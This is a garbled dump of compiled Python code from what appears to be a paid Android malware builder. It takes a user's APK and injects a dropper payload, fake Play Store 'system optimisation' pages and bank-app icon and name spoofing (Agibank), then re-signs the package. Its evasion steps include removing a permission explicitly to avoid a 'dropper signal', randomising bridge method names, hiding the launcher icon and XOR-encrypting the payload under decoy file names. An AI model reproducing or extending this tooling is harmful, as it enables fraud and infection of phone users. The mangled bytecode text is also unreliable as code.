B65B6gateway_configc                    U R                  SS5      R                  S5      nU R                  SS5      nU R                  SS5      nU SU 3n[        R                  U5      nU(       a!  [        R                  " 5       US   :  a  US   $ [
        R                  " U S	3X#S
.SSS.SS9nUR                  S:w  a(  [        SUR                   SUR                  SS  35      eUR                  5       nUR                  SS5      n[        UR                  SS5      5      n	U[        R                  " 5       [        [        U	S-
  S5      S9-   S.[        U'   U$ )zMGet or refresh Bearer token using /api/partner/v1/auth-token. Caches for ~1h.r1  rY   r#  r2  r3  r  
expires_attokenz/api/partner/v1/auth-token)r2  r3  application/json)Content-TypeAcceptr  )rC  rj  r      zAuth falhou (): Naccess_token
expires_in  x   <   )seconds)r  r  )r  rstrip_gw_token_cacher   rA  http_requestspoststatus_coder   r   rC  rb  r   r  )
r  r1  r2  r3  	cache_keycachedrespr   r  r  s
             rJ   _get_gateway_tokenr    sN   !!*b188=H"";3I"&&;M+Q}o.I  +F(,,.6,#77g*./$E!3?QR	D 3-(8(8'9TYYt_<MNOO		AEE."%EQUU<./JllnyZ#=Mr9R'SS"OI LrI   c                 X   UR                  S5      (       d  [        S5      eUR                  SS5      R                  S5      nU(       d  [        S5      e[        U5      n[	        U S-  S5      U=(       d    S	S
.nU(       a  XGS'   [
        R                  " U S3SU 3SSS.USS9nUR                  S;  a(  [        SUR                   SUR                  SS  35      eUR                  5       n	U	R                  SS5      n
U	R                  SU5      n[        U5      [        U
5      U
SS.$ )z.Create PIX charge via /api/partner/v1/cash-in.r5  zGateway desativador1  rY   r#  z#Base URL do gateway nao configuradad   rj  zBYPASS - Plano de acesso)amountr  clientz/api/partner/v1/cash-inBearer r  )Authorizationr  r  r9  )rj  rC  r   )r     zCash-in falhou (r  N   r  
identifierpending)	charge_idqr_code_base64
copy_paster-  )r  r   r  r  roundr  r  r  r   rC  r`   r  )amount_centsr  external_idr  client_datar1  r  bodyr  r   r  r  s               rJ   create_pix_charger    sA   i((,--!!*b188=H=>>~.E s*A."@&@D $X*+,&ug..(

 	D z)*4+;+;*<C		$3?PQRR		AuuZ$H|[1J _+H5	 rI   c                 z   UR                  SS5      R                  S5      nU(       a  U (       d  g [        U5      n[        R                   " U SU  3SU 3SS.S	S
9nUR                  S:X  a>  UR                  5       R                  S0 5      R                  SS5      nUS:X  a  gUS;   a  gg! [         a     gf = f)zCPoll /api/partner/v1/transaction/{identifier} for real-time status.r1  rY   r#  r  z/api/partner/v1/transaction/r  r  )r  r  rO   )rj  r   r  r  r-  	completedpaid)failedrefundedmedr  )r  r  r  r  r  rC  r   )r  r  r1  r  r  r-  s         rJ   check_pix_statusr    s    !!*b188=H9">2  j4YK@(/w&7CUV

 s"YY[__VR044XyIF$66   s   A2B- %B- -
B:9B:c                    SSK n[        R                  R                  U S5      n[        R                  R	                  U5      (       d  g[        USSS9 nUR                  5       nSSS5        [        R                  " SSW5      nSnUR                  S	S
9n [        R                  " SS[        SSUSUS/	SSSS9nUR                  S:X  a  [        R                  R                  US5      n	[        R                  R	                  U	5      (       a  [        U	SSSS9 n
U
R                  5       nSSS5        [        R                  " SW5      nU(       aJ  UR                  S5      R!                  5       nU(       a$  SU;  a  [        R"                  " SU5      (       a  Un[(        R*                  " USS9  U(       a$  SU;  a  SU-   S-   nUR-                  SUS -   S5      n[        US!SS9 nUR/                  U5        SSS5        ['        S"U=(       d    S# 35        g! , (       d  f       GN= f! , (       d  f       GN= f! [$         a  n['        SU 35         SnANSnAff = f! [(        R*                  " USS9  f = f! , (       d  f       N= f)$zRemove QUERY_ALL_PACKAGES (permissao broad, sinal de dropper) e injeta
<queries> granular com o pacote do payload. Mantem getPackageInfo funcionando
em Android 11+ sem o sinal de dropper. Nao altera o fluxo do app.r   Nr<  r1  r2  r8  zL\s*<uses-permission android:name="android\.permission\.QUERY_ALL_PACKAGES"/>rY   pkgq_r   java-jarr   -s-o-fT   r   r3  r4  #<manifest\b[^>]*\bpackage="([^"]+)"r-  rC   ^[A-Za-z][A-Za-z0-9_.]*$z#[manifest_fix] aviso extracao pkg: r   z	<queries>z.
    <queries>
        <package android:name="z"/>
    </queries>
z<applicationz    <applicationr7  z1[manifest_fix] QUERY_ALL removido; <queries> pkg=z(nao detectado))r   r   r   r^   r   rQ  rR  r}  r  r   r   r   APKTOOL_JARr   searchr  r  rp  r   r   r   r   rO  rS  )rT  user_apk_pathr   mfri  manpayload_pkgpkg_dec_r_mpr  _mt_mm_candr   _qbs                   rJ   _fix_manifest_queriesr    s    	l$9	:B77>>"	b#	(Affh 
) &&`bdfi
jCKkkk)G3^^VV[#t*D'4A+/dCI ==A'',,w(=>Cww~~c""#sWXF"'')C Gii FLIIaL..0EE!1bhh?Z\a6b6b&+ 	gT2{#-@;NQhhkk.#0B*BAF	b#	(A	 
)	=k>^M^=_
`a? 
)	( GF  :3B4899: 	gT2
 
)	(s\   HBH> H,-A0H> (I=
H),
H;6H> >
I II# I  I# #I:=
Jc
                 W  ^^^ [         R                  R                  [        R                  S   U  S35      n
[         R                  R                  [        R                  S   U  S35      n[         R                  R                  [        R                  S   U  S35      n[         R                  R                  [        R                  S   U  S35      nSSS	.[
        U '   [        R                  5          [        X2S
U 5        SSS	.[
        U '   [         R                  R                  U
5      (       a  [        R                  " U
5        [         R                  " U
SS9   [        R                  " US5       nUR                  U
5        S S S 5        [         R                  R                  [         R                  R                  U
S5      5      (       d.  SSS	.[
        U '   [$        R&                  " SS[(        SUSU
S/5        SSS	.[
        U '   [         R                  R                  U5      (       a  [        R                  " U5        [        R*                  " [,        U5        [         R                  R                  US5      n[         R                  R                  U5      (       a  [        R                  " U5        [         R.                  " U5       HL  u  nnnU H?  nSU;   d  M  [         R0                  " [         R                  R                  UU5      5        MA     MN     U(       a  SS KnUR3                  [         R                  R                  USSS5      SS 9nU H{  n[5        USS!S"9 nUR7                  5       nS S S 5        S#n[8        R:                  " S$UW[8        R<                  S%9nUU:w  d  MV  [5        US&S!S"9 nUR?                  U5        S S S 5        M}     US':X  Ga  [         R                  R                  [@        5      (       Ga  [         R                  R                  [@        S5      n[         R                  R                  US5      n[         R                  R                  U5      (       a  [         R.                  " U5       H  u  nnn [         R                  RC                  UU5      n![         R                  R                  UU!5      n"[         R                  " U"SS9  U  H^  n#SU#;   a  M  [        RD                  " [         R                  R                  UU#5      [         R                  R                  U"U#5      5        M`     M     [         R                  R                  [@        S(S)5      n$[         R                  R                  U$5      (       aj  [         R                  R                  US(5      n%[         R                  " U%SS9  [        RD                  " U$[         R                  R                  U%S)5      5        US*:X  Ga  [         R                  R                  [@        5      (       Gas  [         R                  R                  [@        S5      n[         R                  R                  US5      n[         R                  R                  U5      (       a  [         R.                  " U5       H  u  nnn [         R                  RC                  UU5      n![         R                  R                  UU!5      n"[         R                  " U"SS9  U  H^  n#SU#;   a  M  [        RD                  " [         R                  R                  UU#5      [         R                  R                  U"U#5      5        M`     M     [         R                  R                  US(5      n%[         R                  " U%SS9  [         R                  R                  [@        S(S+5      n&[         R                  R                  U&5      (       a5  [        RD                  " U&[         R                  R                  U%S)5      5        [         R                  R                  [@        S(S,5      n'[         R                  R                  U'5      (       a5  [        RD                  " U'[         R                  R                  U%S,5      5        US-:X  Ga  [         R                  R                  [@        5      (       Ga  [         R                  R                  [@        S5      n[         R                  R                  US5      n[         R                  R                  U5      (       a  [         R.                  " U5       H  u  nnn [         R                  RC                  UU5      n![         R                  R                  UU!5      n"[         R                  " U"SS9  U  H^  n#SU#;   a  M  [        RD                  " [         R                  R                  UU#5      [         R                  R                  U"U#5      5        M`     M     [         R                  R                  US(5      n%[         R                  " U%SS9  U(       a  UOS.n([5        [         R                  R                  U%S)5      S&S!S"9 n)U)R?                  U(5        S S S 5        US/:X  Ga  [         R                  R                  [@        5      (       Ga  [         R                  R                  [F        5      (       Ga  [         R                  R                  [@        S5      n[         R                  R                  US5      n[         R                  R                  U5      (       a  [         R.                  " U5       H  u  nnn [         R                  RC                  UU5      n![         R                  R                  UU!5      n"[         R                  " U"SS9  U  H^  n#SU#;   a  M  [        RD                  " [         R                  R                  UU#5      [         R                  R                  U"U#5      5        M`     M     [         R                  R                  [@        S(S)5      n$[         R                  R                  U$5      (       aj  [         R                  R                  US(5      n%[         R                  " U%SS9  [        RD                  " U$[         R                  R                  U%S)5      5        [         R                  R                  [F        S5      n*[         R.                  " U*5       H  u  nnn [         R                  RC                  UU*5      n![         R                  R                  UU!5      n"[         R                  " U"SS9  U  HV  n#[        RD                  " [         R                  R                  UU#5      [         R                  R                  U"U#5      5        MX     M     S n+S0 n,[         R                  R                  [        R                  S   U  S135      n- [         R                  R                  U-5      (       a  [        R                  " U-5        [$        R&                  " SS[(        SS2USU-S/	SS3S49n.U.RH                  S:w  a>  U.RJ                  (       a  U.RJ                  S S5 OS6n/[M        S7U.RH                   S8U/< 35        U," [         R                  R                  U-S5      5      n+U+(       d  [         R                  R                  U-S95      n0[         R                  R                  U05      (       a  [5        U0SS!S:S;9 n)U)R7                  5       n1S S S 5        [8        RN                  " S<W15      n2U2(       a<  U2RQ                  S=5      RS                  5       n3U3(       a  U3RU                  5       S>;  a  U3n+ [         R                  R                  U-5      (       a  [        R                  " U-5        U+(       d&  U," [         R                  R                  U
S5      5      n+U+(       d  S@n+[M        SA5        O[M        SBU+ 35        U	=(       d    SCRS                  5       n5U5RY                  SDSE5      RY                  SFSG5      n6U+RY                  SDSE5      RY                  SFSG5      n7[         R                  R                  USHSISJSKSL5      n8[         R                  R                  U85      (       a~  [5        U8SS!S"9 n)U)R7                  5       n9S S S 5        SMn:U:W9;   aG  SNU7-   SO-   U6-   SP-   n;U9RY                  U:U;S=5      n9[5        U8S&S!S"9 n)U)R?                  U95        S S S 5        O[M        SQ5        [         R                  R                  USHSISJSKS5      n[         R                  R                  U5      (       a  [5        USS!S"9 n)U)R7                  5       n<S S S 5        SRn[8        R:                  " S$UW<[8        R<                  S%9n=U=U<:w  a  U=n<[M        SS5        STn>U>U<;   a  U<RY                  U>SUS=5      n<[M        SV5        SWn?U?U<;   a2  U<R[                  U?5      n@U<RY                  U?SU5      n<[M        SXU@ SY35        [5        US&S!S"9 n)U)R?                  U<5        S S S 5         [         R                  R                  U85      (       a  [5        U8SS!S"9 nAUAR7                  5       nBS S S 5        SZnCUCWB;   a_  S[WB;  aY  U+(       aR  S\U7-   S]-   U6-   S^-   nDWBRY                  WCUDS=5      nB[5        U8S&S!S"9 nAUAR?                  UB5        S S S 5        [M        S_5        O0S[WB;   a  [M        S`5        OU+(       d  [M        Sa5        O[M        Sb5         [         R                  R                  U85      (       a  [5        U8SS!S"9 nAUAR7                  5       nFS S S 5        SdnGUGSe-   nHUGWF;   aJ  SfWF;  aD  WFRY                  WGWHS=5      nF[5        U8S&S!S"9 nAUAR?                  UF5        S S S 5        [M        Sg5        OSfWF;   a  [M        Sh5        O[M        Si5         [         R                  R                  U85      (       a  [5        U8SS!S"9 nAUAR7                  5       nJS S S 5        SknK[8        R:                  " SlUKWJ[8        R<                  S=Sm9nLULUJ:w  a1  [5        U8S&S!S"9 nAUAR?                  WL5        S S S 5        [M        Sn5        O[M        So5         SS K.mSS K/m[a        5       mUUU4Sq jnNUN" 5       nOUN" 5       nPUN" 5       nQ[         R                  R                  USHSISJSKSr5      nR[         R                  R                  UR5      (       a  [5        WRSS!S"9 nAUAR7                  5       nSS S S 5        WSRY                  SsWO5      nSUSRY                  StWP5      nSUSRY                  SuWQ5      nS[5        WRS&S!S"9 nAUAR?                  US5        S S S 5        [M        SvWO SwWP SxWQ 35        [         R                  R                  US(S)5      nT[         R                  R                  UT5      (       a  [5        WTSS!S"9 nAUAR7                  5       nUS S S 5        WURY                  SsWO5      nUUURY                  StWP5      nUUURY                  SuWQ5      nU[5        WTS&S!S"9 nAUAR?                  UU5        S S S 5        [M        SyWO 35        [c        U5        [e        U5        U(       a  UOS{nWU(       Ga
  [         R                  R                  U5      (       Ga  S nX US|-   nY[f        R4                  " U5      nZUZRh                  S   S}:  d  WZRh                  S=   S}:  a  [W        S~WZRh                   35      eWZRk                  S5      Rm                  WYS5        UYnXWX(       Ga^  SSSSSS.n[Sn\ [f        R4                  " WX5      Rk                  S5      n]U[Ro                  5        H  u  n^n_[         R                  R                  UU^5      n`[         R                  " U`SS9  W]Rq                  U_U_4[f        Rr                  5      naS H2  nbWaRm                  [         R                  R                  W`Ub5      SSS9  M4     M     Sn\W\(       d|  S Hv  nc[         R                  R                  UUc5      nd[         R                  " UdSS9  S H8  ne[        RD                  " WX[         R                  R                  WdUe5      5        M:     Mx     [         R                  R                  US5      nf[         R                  R                  Uf5      (       ao   [t        Rv                  " Wf5      ngUgRy                  5       nhUhR{                  S5       H"  niUiR|                  " S5      S:X  d  M  WWWil?        M$     WgR?                  WfS!SS9  [         R.                  " U5       GH>  u  nnnU GH/  njUjR                  S5      (       d  M  [         R                  R                  UWj5      nk [5        UkSS!S:S;9 n)U)R7                  5       nlS S S 5        WlRY                  SWW5      RY                  SUW5      RY                  SUW5      nmU(       af  WmRY                  SUR}                  SS5      5      nmUmRY                  SUR}                  SS5      5      nmUmRY                  SUR}                  SS5      5      nmWlWm:w  a(  [5        WkS&S!S"9 n)U)R?                  Wm5        S S S 5        GM/  GM2     GMA     [         R                  R                  US(S)5      nnUS-:w  GaK  [         R                  R                  Wn5      (       Ga&   [5        WnSS!S"9 n)U)R7                  5       noS S S 5        WoRY                  SWW5      noU(       Ga?  UR}                  S'0 5      npWoRY                  SUpR}                  SS5      5      noUoRY                  SUpR}                  SS5      5      noUoRY                  SUpR}                  SS5      5      noUoRY                  SUpR}                  SS5      5      noUpR}                  S5      (       a!  WoRY                  SWpR}                  S5      5      noWpR}                  S5      (       a!  WoRY                  SWpR}                  S5      5      noWpR}                  S5      (       a!  WoRY                  SWpR}                  S5      5      noU(       a|  [         R                  R                  U5      (       aX  SS KAnq[5        US5       n)UqR                  U)R7                  5       5      R                  5       nrS S S 5        WoRY                  SWr5      no[5        WnS&S!S"9 n)U)R?                  Wo5        S S S 5        SSS	.[
        U '   [5        US5       n)U)R7                  5       ntS S S 5        [^        R                  " SS5      nuUuR                  SS5      [         R                  " S5      -   nvUv[        [        WtUu5      5      -   nwSS KAnxSS KnySS K.nzS/ SQ4S/ SQ4S/ SQ4S/ SQ4S/ SQ4S/ SQ4S/ SQ4S/ SQ4S/ SQ4S/ SQ4/
n{[^        R                  " U{5      n|U|S   n}U|S=   n~[         R                  " [        U}R                  5       5      5      n[        S [        U}R                  5       U5       5       5      nUxR                  U5      R                  5       nUxR                  U5      R                  5       nUyR3                  [         R                  R                  USSSL5      SS 9 Hx  n[5        USS!S"9 n)U)R7                  5       nS S S 5        WRY                  SSFW SF35      nURY                  SSFW SF35      n[5        WS&S!S"9 n)U)R?                  U5        S S S 5        Mz     [         R                  R                  US5      n[         R                  R                  U5      (       a  [         R0                  " W5        [         R                  R                  US(5      n[         R                  " USS9  [         R                  R                  UW}5      n[5        US5       n)U)R?                  Ww5        S S S 5        [^        R                  " SS5      [^        R                  " SS5      [^        R                  " SS5      /n[        W~U5       H^  u  nn[5        [         R                  R                  WU5      S5       n)U)R?                  [         R                  " U5      5        S S S 5        M`     [        U5        [        U5        [        U5        [        U5      n[        UU5        [        U5        [        U5        [        U5        [        X5        SSS	.[
        U '   [         R                  R                  [(        5      (       d  [W        S5      e[$        R&                  " SS[(        SUSU/SSSS9n[         R                  R                  U5      (       d{  [$        R&                  " SS[(        S/SS9  [$        R&                  " SS[(        SUSU/SSSS9n[         R                  R                  U5      (       d  [W        SWRJ                   35      eSSS	.[
        U '   Sn[         R                  R                  U5      (       aS  [$        R&                  " WSSX/SS9  [         R                  R                  U5      (       a  [        R                  " X5        SSS	.[
        U '   [         R                  R                  [        R                  S   U 5      n[         R                  " USS9  [         R                  R                  [        5      (       d  [W        S5      e[$        R&                  " SS[        SUSW/SSSS9nS n[         R                  R                  U5      (       aU  [         R                  " W5       H;  n)U)R                  S5      (       d  M  [         R                  R                  WU)5      n  O   W(       d  [W        SWRJ                   35      eU  S3n[        WW5       S3n[        R                  " W[         R                  R                  [        R                  S   U5      5        [        R                  " WSS9  SSWWS.[
        U '   [        X2SU 5        [        US5        [        USSWW 35        [        SSUW S3SSUSS.SUSS./S9  XXU4 H{  n [         R                  R                  U5      (       a  [        R                  " WSS9  M?  [         R                  R                  W5      (       a  [         R0                  " W5        M{  M}     GS Hu  n [         R                  R                  [        R                  S   U  U 35      n[         R                  R                  U5      (       a  [         R0                  " W5        Mu  Mw      [        R                  5         g ! , (       d  f       G$N= f!   [        R                  " US5       nUR!                  5        H  n UR#                  X5        M  !    M  = f   S S S 5         G$M  ! , (       d  f        G%N= f= f!    G#M  = f! , (       d  f       G#N-= f! , (       d  f       G#Mg  = f! , (       d  f       GN== f! , (       d  f       GN= f! [V         a  n4[M        S?U4 35         S n4A4GNWS n4A4ff = f!    GN)= f!  [         R                  R                  U-5      (       a  [        R                  " U-5        f f !    f = f= f! , (       d  f       GNj= f! , (       d  f       GN"= f! , (       d  f       GN= f! , (       d  f       GN= f! , (       d  f       GN= f! , (       d  f       GN= f! [V         a  nE[M        ScUE 35         S nEAEGNS nEAEff = f! , (       d  f       GNN= f! , (       d  f       GN= f! [V         a  nI[M        SjUI 35         S nIAIGNS nIAIff = f! , (       d  f       GN= f! , (       d  f       GN= f! [V         a  nM[M        SpUM 35         S nMAMGNS nMAMff = f! , (       d  f       GN= f! , (       d  f       GN= f! , (       d  f       GNk= f! , (       d  f       GN"= f! [V         a  nV[M        SzUV 35         S nVAVGN5S nVAVff = f!    GNu= f! [V         a  n4[M        SU4 35         S n4A4GNS n4A4ff = f!    GN= f! , (       d  f       GN= f! , (       d  f       GM  = f!    GM  = f! , (       d  f       GN= f! , (       d  f       GNG= f! , (       d  f       GN"= f! [V         a  ns[M        SUs 35         S nsAsGNCS nsAsff = f! , (       d  f       GN)= f! , (       d  f       G
N= f! , (       d  f       G
M  = f! , (       d  f       G	N= f! , (       d  f       G	MU  = f!    GNc= f! [V         a}  ns[        Us5      n[M        SU  SU 35        GS US GS  GS3SSGS.[
        U '   [        X2GSU 5        [        UGS5        [        GSGSU GS3GSSUSS.GS	US GS
 SS./S9   S nsAsGNS nsAsff = f!    GM  = f!    GM'  = f!    g = f! XXU4 H  n [         R                  R                  U5      (       a  [        R                  " WSS9  M?  [         R                  R                  W5      (       a  [         R0                  " W5        M{  M}  !    M  = f   GS H}  n [         R                  R                  [        R                  S   U  U 35      n[         R                  R                  U5      (       a  [         R0                  " W5        Mu  Mw  !    M|  = f    [        R                  5         f !    f = f= f(  Nr	  
_extracted_dropperr  z_unsigned.apkz_aligned.apkzAguardando vaga...r  r-  progressprocessandozExtraindo APK...r  Tr$  r1  r<  zExtraindo via Apktool...r9  r  r  r   r   r  zPreparando Dropperr   r  z.bakr   r*  **r  )	recursiver2  r8  a4  .method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V
    .locals 2

    :try_start_0
    invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    move-result-object v0
    invoke-virtual {v0, p2}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    move-result-object v0
    if-eqz v0, :cond_0
    const/high16 v1, 0x14000000
    invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
    invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
    :cond_0
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    goto :do_hide

    :catch_0
    nop

    :do_hide
    :try_start_1
    const-wide/16 v0, 0x1388
    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    :try_end_1
    .catch Ljava/lang/InterruptedException; {:try_start_1 .. :try_end_1} :catch_1

    :catch_1
    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->b(Landroid/content/Context;)V
    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->c(Landroid/content/Context;)V

    :try_start_2
    const-wide/16 v0, 0x12C
    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    :try_end_2
    .catch Ljava/lang/InterruptedException; {:try_start_2 .. :try_end_2} :catch_2

    :catch_2
    invoke-static {}, Landroid/os/Process;->myPid()I
    move-result v0
    invoke-static {v0}, Landroid/os/Process;->killProcess(I)V

    return-void
.end methodz`\.method public final synthetic d\(Landroid/content/Context;Ljava/lang/String;\)V.*?\.end method)flagsr7  	playstorer  up.htmlplayv2z
up_v2.htmlzplay.csscustomz$<html><body>Loading...</body></html>r	   c                     [         R                  R                  U 5      (       d  g [        U S5       nUR	                  S5      nS S S 5        [        W5      S:  a  US   S:X  a
  US   S:X  a  g [        U SSS	S
9 nUR	                  5       nS S S 5        SW;  a  g [        R                  " SU5      nU(       aJ  UR                  S5      R                  5       nU(       a$  SU;  a  [        R                  " SU5      (       a  U$ g ! , (       d  f       N= f! , (       d  f       N= f! [         a  n[        SU 35         S nAg S nAff = f)Nr  r|   rj  r   rl  r-  r1  r2  r3  r4  z	<manifestr  rC   r  zAviso _try_read_pkg: )r   r   r   rQ  rR  r  r}  r  r  r  rp  r   r   )mpbfheadr  mtextmm2cand_ees           rJ   _try_read_pkg"process_apk.<locals>._try_read_pkg  s   977>>"--#b$2!wwqz (4yA~$q'T/d1go#b#IR "	 J"%/#))$JERC"yy|113CtOA\^b8c8c#'K  ( JI ! 91#7889sX   $D& D& D)D& /D& ;DD& A'D& 
DD& 
D#D& &
E0EE_pkgreadr  r  )r   r   r   rI   z[redirect] apktool decode rc=z stderr=r:  r3  r4  zrenameManifestPackage:\s*(\S+)r-  )null~zAviso apktool decode for pkg: rY   zH[redirect] AVISO: package do payload nao detectado, usando diff fallbackz&[redirect] payload package detectado: zabout:blank\z\\r  z\"rP  rQ  rR  qspaasr  z    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)Va0      invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    # --- REDIRECT WATCHER kickoff ---
    new-instance v0, Lcom/android/system/qspaas/RedirectWatcher;
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    const-string v2, "z"
    const-string v3, "a^  "
    invoke-direct {v0, p0, v1, v2, v3}, Lcom/android/system/qspaas/RedirectWatcher;-><init>(Landroid/content/Context;Landroid/webkit/WebView;Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v0}, Lcom/android/system/qspaas/RedirectWatcher;->run()V

    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)Vz?Aviso: anchor do MainActivity nao encontrado para redirect modezy.method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V
    .locals 0

    return-void
.end methodzJ[redirect] metodo d() neutralizado em RcvJbrzn (sem startActivity payload)z9invoke-static {p1}, Landroid/os/Process;->killProcess(I)Vr  z/[redirect] killProcess neutralizado em RcvJbrznzinvoke-virtual {v0, v3, v2, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)Vz[redirect] zA chamadas de setComponentEnabledSetting neutralizadas em RcvJbrznz    const-string v0, "file:///android_asset/up.html"
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)VzREDIRECT FASTPATHaP      # --- REDIRECT FASTPATH: pula up.html se payload ja instalado ---
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    :try_start_fp
    invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    move-result-object v0
    const-string v2, "z"
    const/4 v3, 0x0
    invoke-virtual {v0, v2, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
    move-result-object v0
    if-eqz v0, :cond_fp_notinstalled
    const-string v0, "a  "
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
    goto :cond_fp_done
    :try_end_fp
    .catch Ljava/lang/Exception; {:try_start_fp .. :try_end_fp} :catch_fp
    :catch_fp
    :cond_fp_notinstalled
    const-string v0, "file:///android_asset/up.html"
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
    :cond_fp_done
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    # marcador REDIRECT FASTPATH aplicadozB[redirect] FASTPATH injetado: pula up.html se payload ja instaladoz([redirect] FASTPATH ja presente, pulandozZ[redirect] AVISO: sem payload_pkg conhecido, FASTPATH desativado (usa diff fallback do RW)zE[redirect] AVISO: anchor up.html loadUrl nao encontrado para FASTPATHz$[redirect] erro injetando FASTPATH: zT    invoke-virtual {v13, v0}, Landroid/webkit/WebSettings;->setDomStorageEnabled(Z)Va  

    # --- WebViewClient para manter navegacao dentro do WebView ---
    new-instance v0, Lcom/android/system/qspaas/RedirWvc;
    invoke-direct {v0}, Lcom/android/system/qspaas/RedirWvc;-><init>()V
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
    const/4 v0, 0x1
zRedirWvc;-><init>()Vz>[redirect] setWebViewClient(RedirWvc) injetado em MainActivityz3[redirect] WVC ja presente em MainActivity, pulandozM[redirect] AVISO: anchor setDomStorageEnabled nao encontrado para injetar WVCz[redirect] erro injetando WVC: zf.method public final synthetic r(Landroid/content/Intent;)V
    .locals 0

    return-void
.end methodzM\.method public final synthetic r\(Landroid/content/Intent;\)V.*?\.end method)r  r  zZ[redirect] metodo r(Intent) neutralizado em MainActivity (preserva WebView na 2a abertura)zR[redirect] AVISO: metodo r(Intent) nao encontrado em MainActivity para neutralizarz)[redirect] erro neutralizando r(Intent): c            	         >  SR                  TR                  TR                  TR                  SS5      S95      n U T;  a  TR	                  U 5        U $ MT  )NrY   r   rM   rz   )r^   r   r   r[   add)_n_rnd_rdr_str_rdr_used_namess    rJ   _uniq_bridge_name&process_apk.<locals>._uniq_bridge_name  sX    WWX%5%5h6N6NRZRbRbcdfgRh%5%ij[0'OOB/#%I	 rI   zDrpJsBridge.smali	opencheckstartInstallupdatecheckz'[redirect] DrpJsBridge methods -> open=z	 install=z update=z([redirect] up.html bridge calls -> open=z-[redirect] erro randomizando metodos bridge: r   z_converted.png   zicon dimensions too large: RGBAr  0   H   `         )res/mipmap-mdpires/mipmap-hdpires/mipmap-xhdpires/mipmap-xxhdpires/mipmap-xxxhdpiF)zic_launcher.pngzic_launcher_round.png)optimizezAviso resize icon: )rB  rA  rC  rD  rE  zres/values/strings.xmlr   namer  )r5  xml_declaration)r+  r/  r  AgibankAgiBankDRPR_TITULOtituloOtimizando sistemaDRPR_SUBTITULO	subtituloAguarde o procedimento...
DRPR_BADGEbadger  APPNAME[PUBLISHER]	publisherPlatform, Inc.[RATING]rating4.5[DOWNLOADS]	downloads1K+[SIZE]size8.6 MBchange1	[CHANGE1]change2	[CHANGE2]change3	[CHANGE3]r  
[BASE-ICO]zAviso up.html: zInjetando Payloadr  r  r|   big   zio_schema.cache)zext_config.idxznet_index.dbzsdk_registry.cachezkit_profile.idx)zmod_profile.binzbase_patch.datzres_profile.dbzext_module.pak)zapp_module.dbzutil_bundle.binzext_config.pakzmod_patch.bin)zres_patch.cachezres_init.pakzdata_profile.pakzio_profile.cache)zext_profile.dbzsdk_config.cachezio_config.idxzutil_index.cache)zres_module.dbzutil_init.idxzmod_bundle.binzsys_loader.cache)zapi_index.idxzcore_data.dbzlib_bundle.pakznet_schema.idx)zsdk_module.binzapp_init.cachezcfg_patch.datzcore_profile.pak)zio_bundle.dbzext_init.binzmod_config.cachezapp_loader.bin)zsys_profile.idxznet_config.pakzsdk_bundle.cachec              3   .   #    U  H  u  pX-  v   M     g 7fr  rH   )rQ   ar;  s      rJ   rT   process_apk.<locals>.<genexpr>  s     D'CtqQU'Cs   z"MCe4qkNoRrMPUcr7Eg=="z"VEXUwzIPKNljf66aZrY="zassets/dbliqgnjl.datr  i  i  i  i  iR  iL  zCompilando APKP   zapktool.jar nao encontrador;  X  r   zempty-framework-dir)r   zErro na compilacao: zAlinhando APKU   z/usr/bin/zipalign4)r   zAssinando APKZ   zsigner.jar nao encontradoz--apksz--outr  .apkzErro na assinatura: r   	Concluidor  r-  r  output_filedisplay_namer  z	Build APKzApp: zBUILD CONCLUIDOzAPK **z** compilado com sucesso.^" UsuariorG  valueinlineModor  r  zERRO NO BUILD r   zErro: r8  z...r-  r  errorr  z
BUILD ERROzErro ao compilar APK ****.DD Error  )	_icon.pngz_icon.png_converted.png)ar   r   r^   appconfigBUILD_STATUS_BUILD_SEMAPHOREacquirer  r   r   r   r'  zipfileZipFile
extractallnamelistextractr   r   r  copytreeDROPPER_TEMPLATErK  removeglobrQ  rR  r}  r  DOTALLrS  PLAYSTORE_OVERLAYr`  copy2REDIRECT_OVERLAYr   r   r   r  r  r  r  r   rO  r  r   rD   setr6  rA  PILImager^  convertr  rM  resizeLANCZOSETparsegetrootfindallr  r   rL  r  r  r  r[   to_bytesurandomr  r  rE   r  r  zipr  r  r  rz  r  r!  r  r  r  r)  
